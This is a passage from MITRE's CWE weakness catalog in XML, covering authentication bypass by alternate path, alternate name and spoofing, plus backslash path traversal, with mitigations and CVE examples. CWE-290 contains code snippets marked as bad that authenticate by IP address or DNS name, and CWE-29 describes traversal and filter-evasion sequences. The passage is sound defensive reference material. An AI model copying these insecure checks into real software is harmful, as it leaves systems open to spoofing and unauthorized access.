					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>overlaps Unprotected Alternate Channel</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This is often seen in web applications that assume that access to a
						particular CGI program can only be obtained through a "front" screen, when
						the supporting programs are directly accessible. But this problem is not
						just in web apps.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Funnel all access through a single choke point to simplify how users
							can access a resource. For every access, perform a check to determine if
							the user has permissions to access the resource.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1179</Observed_Example_Reference>
					          <Observed_Example_Description>Router allows remote attackers to read system logs
						without authentication by directly connecting to the login screen and typing
						certain control characters.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1454</Observed_Example_Reference>
					          <Observed_Example_Description>Attackers with physical access to the machine may
						bypass the password prompt by pressing the ESC (Escape) key.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1077</Observed_Example_Reference>
					          <Observed_Example_Description>OS allows local attackers to bypass the password
						protection of idled sessions via the programmer's switch or CMD-PWR keyboard
						sequence, which brings up a debugger that the attacker can use to disable
						the lock. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0304</Observed_Example_Reference>
					          <Observed_Example_Description>Direct request of installation file allows
						attacker to create administrator accounts.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0870</Observed_Example_Reference>
					          <Observed_Example_Description>Attackers may gain additional privileges by
						directly requesting the web management URL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0066</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass authentication via direct request to named
						pipe.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1035</Observed_Example_Reference>
					          <Observed_Example_Description>User can avoid lockouts by using an API instead of
						the GUI to conduct brute force password
						guessing.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Authentication Bypass by Alternate
						Path/Channel</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Failure to Restrict URL Access</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>127</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>56</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Modes_of_Introduction, Name,
						Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Authentication Bypass by
						Alternate Path/Channel</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="289" Name="Authentication Bypass by Alternate Name" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software performs authentication based on the name of a
					resource being accessed, or the name of the actor performing the access, but it
					does not properly check all possible names for that resource or
					actor.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>592</Relationship_Target_ID>
					          <!--Authentication Bypass Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Overlaps equivalent encodings, canonicalization, authorization, multiple
						trailing slash, trailing space, mixed case, and other equivalence
						issues.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-44">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Avoid making decisions based on names of resources (e.g. files) if
							those resources can have alternate names.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0317</Observed_Example_Reference>
					          <Observed_Example_Description>Protection mechanism that restricts URL access can
						be bypassed using URL encoding.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0847</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass of authentication for files using "\"
						(backslash) or "%5C" (encoded backslash).</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>Alternate names are useful in data driven manipulation attacks, not just
						for authentication.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Authentication bypass by alternate name</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Normalize strings before validating them</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Potential_Mitigations,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="29" Name="Path Traversal: '\..\filename'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					'\..\filename' (leading backslash dot dot) sequences that can resolve to a
					location that is outside of that directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>This is similar to CWE-25, except using "\" instead of "/". Sometimes a
						program checks for "..\" at the beginning of the input, so a "\..\" can
						bypass that check. It is also useful for bypassing path traversal protection
						schemes that only assume that the "/" separator is valid.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="Windows"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1987</Observed_Example_Reference>
					          <Observed_Example_Description>Protection mechanism checks for "/.." but doesn't
						account for Windows-specific "\.." allowing read of arbitrary files.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2142</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability in FTP server
						allows remote authenticated attackers to list arbitrary directories via a
						"\.." sequence in an LS command. </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'\..\filename' ('leading dot dot
						backslash')</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Leading Dot Dot
						Backslash - '\..\filename'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="290" Name="Authentication Bypass by Spoofing" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>This attack-focused weakness is caused by improperly
					implemented authentication schemes that are subject to spoofing
					attacks.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>592</Relationship_Target_ID>
					          <!--Authentication Bypass Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be resultant from insufficient verification.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can allow an attacker to access resources which are not
							otherwise accessible without proper authentication.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Here, an authentication mechanism implemented in Java relies on an
						IP address for source validation. If an attacker is able to spoof the IP,
						however, he may be able to bypass such an authentication
						mechanism.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String sourceIP = request.getRemoteAddr();</Code>
							              <Code>if (sourceIP != null &amp;&amp; sourceIP.equals(APPROVED_IP))
								{</Code>
							              <Block>
								                <Code>authenticated = true;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-99">
					          <Intro_Text>Both of these examples check if a request is from a trusted address
						before responding to the request.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>sd = socket(AF_INET, SOCK_DGRAM, 0);</Code>
							              <Code>serv.sin_family = AF_INET;</Code>
							              <Code>serv.sin_addr.s_addr = htonl(INADDR_ANY);</Code>
							              <Code>servr.sin_port = htons(1008);</Code>
							              <Code>bind(sd, (struct sockaddr *) &amp; serv, sizeof(serv));</Code>
							              <Code/>
							              <Code>while (1) {</Code>
							              <Block>
								                <Code>memset(msg, 0x0, MAX_MSG);</Code>
								                <Code>clilen = sizeof(cli);</Code>
								                <Code>if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {</Code>
								                <Block>
									                  <Code>n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *)
										&amp; cli, &amp;clilen);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>while(true) {</Code>
							              <Block>
								                <Code>DatagramPacket rp=new
									DatagramPacket(rData,rData.length);</Code>
								                <Code>outSock.receive(rp);</Code>
								                <Code>String in = new String(p.getData(),0, rp.getLength());</Code>
								                <Code>InetAddress clientIPAddress = rp.getAddress();</Code>
								                <Code>int port = rp.getPort();</Code>
								                <Code/>
								                <Code>if (isTrustedAddress(clientIPAddress) &amp;
									secretKey.equals(in)) {</Code>
								                <Block>
									                  <Code>out = secret.getBytes();</Code>
									                  <Code>DatagramPacket sp =new DatagramPacket(out,out.length,
										IPAddress, port); outSock.send(sp);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The code only verifies the address as stored in the request packet. An
							attacker can spoof this address, thus impersonating a trusted client
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-93">
					          <Intro_Text>The following code samples use a DNS lookup in order to decide
						whether or not an inbound request is from a trusted host. If an attacker can
						poison the DNS cache, they can gain trusted status.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>struct hostent *hp;struct in_addr myaddr;</Code>
							              <Code>char* tHost = "trustme.example.com";</Code>
							              <Code>myaddr.s_addr=inet_addr(ip_addr_string);</Code>
							              <Code/>
							              <Code>hp = gethostbyaddr((char *) &amp;myaddr, sizeof(struct in_addr),
								AF_INET);</Code>
							              <Code>if (hp &amp;&amp; !strncmp(hp-&gt;h_name, tHost, sizeof(tHost)))
								{</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>} else {</Code>
							              <Block>
								                <Code>trusted = false;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String ip = request.getRemoteAddr();</Code>
							              <Code>InetAddress addr = InetAddress.getByName(ip);</Code>
							              <Code>if (addr.getCanonicalHostName().endsWith("trustme.com")) {</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);</Code>
							              <Code>IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);</Code>
							              <Code>if (hostInfo.HostName.EndsWith("trustme.com")) {</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>IP addresses are more reliable than DNS names, but they can also be
							spoofed. Attackers can easily forge the source IP address of the packets
							they send, but response packets will return to the forged IP address. To
							see the response packets, the attacker has to sniff the traffic between
							the victim machine and the forged IP address. In order to accomplish the
							required sniffing, attackers typically attempt to locate themselves on
							the same subnet as the victim machine. Attackers may be able to
							circumvent this requirement by using source routing, but source routing
							is disabled across much of the Internet today. In summary, IP address
							verification can be a useful part of an authentication scheme, but it
							should not be the single factor required for authentication.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1048</Observed_Example_Reference>
					          <Observed_Example_Description>VOIP product allows authentication bypass using
						127.0.0.1 in the Host header.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 3, "Spoofing and Identification", Page
						72.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
